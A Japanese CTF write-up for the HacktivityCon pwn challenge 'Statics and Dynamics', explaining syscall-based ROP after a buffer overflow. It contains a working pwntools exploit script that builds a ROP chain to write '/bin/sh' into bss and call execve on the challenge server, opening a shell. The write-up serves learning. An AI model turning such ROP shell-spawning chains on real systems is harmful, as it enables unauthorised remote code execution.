ACCE55_DE21ED

競プロとCTF

HacktivityCon CTF Statics and Dynamics 〜システムコールでシェルを起動する〜

本番は解けなかったんですが、writeup 読んで「すげぇ!」になったのでメモ。

本番中の考察

BOFを発見したので、ROPでシェルを開く事を目指しました。

しかし、IDAで関数とか眺めても、systemexecveが含まれている感じがなかったので、直接flag.txtを開くのかなーとか考えつつも、ファイルを開く方法が分からず苦戦。

結局解けず。

知見

アセンブリシステムコールを呼び出す事によって、readexecveを呼び出せます。

システムコールには命令ごとに番号がついていて、x86-64の場合例えばreadは0、execveは59です。

詳細は Syscall Number for x86-64 linux (A) を参照して下さい。

通常、関数の引数はrdi,rsi,rdx... の順に入れていくんですが、システムコールの際にはこれに加えてシステムコールの番号をraxに入れます。

解法

今回の場合、システムコールexecve("/bin/sh",NULL,NULL)を呼び出せば良い事になります。

ですが、肝心の"/bin/sh"は当然バイナリの中には含まれていないので、どこかにこれを書き込む必要があります。

そこで、readシステムコールで呼び出して、適当な場所に"/bin/sh"を書き込む事を考えます。

その適当な場所ですが、今回はbssセクションを使います。何かデータを書き込みたい時は、適当にbssを使えば何とかなるってマックで女子高校生が言ってました。

ということで、BOFからのROPでread(0,bssのアドレス,書き込む長さ)を呼び出してbss"/bin/sh"を書き込んだ後に execve(bssのアドレス,NULL,NULL)を呼び出します。

攻撃準備

攻撃コードを作成する前に、必要なgadgetを揃えましょう。

今回必要なのは、readで引数に値を入れるための pop rdi; ret;, pop rsi; ret;, pop rdx; ret;システムコールを呼び出すための pop rax; ret; , syscall; ret; です。

rp -f sad -r 1|grep "pop rdi;"

とか調べれば出てきます。

攻撃コード

準備ができた所で、後は攻撃コードを作成するのみです。

ほとんどCTFtimeのwriteup の写経です。

from pwn import *
elf=ELF("./sad")
#p=process("./sad")
p=remote("jh2i.com",50002)

POP_RDI=0x004816a2
POP_RSI=0x0047c198
POP_RDX=0x0040177f
POP_RAX=0x0043f8d7
SYSCALL=0x0040eda4
BSS=elf.bss()
WRITE=b"/bin/sh\x00"

payload=b"A"*264
# read(0,BSS,len(WRITE))
payload+=p64(POP_RDI)
payload+=p64(0)
payload+=p64(POP_RSI)
payload+=p64(BSS)
payload+=p64(POP_RDX)
payload+=p64(len(WRITE))
payload+=p64(POP_RAX)
payload+=p64(0)
payload+=p64(SYSCALL)
# execve(BSS,NULL,NULL)
payload+=p64(POP_RDI)
payload+=p64(BSS)
payload+=p64(POP_RSI)
payload+=p64(0)
payload+=p64(POP_RDX)
payload+=p64(0)
payload+=p64(POP_RAX)
payload+=p64(59)
payload+=p64(SYSCALL)

p.sendline(payload)
p.sendline(WRITE)
p.interactive()

実行すると、ちゃんとシェルが開きます。

ポエム

このバイナリ、SSP有効だったんですがなんでBOF Attackができたんでしょうか...不思議です。

システムコールって便利ですね。BOF Attackが効く問題って割とこれでできる気がしてきました(ホントか?)

でもPIEとかついてたら、結局アドレスリークしないといけませんね。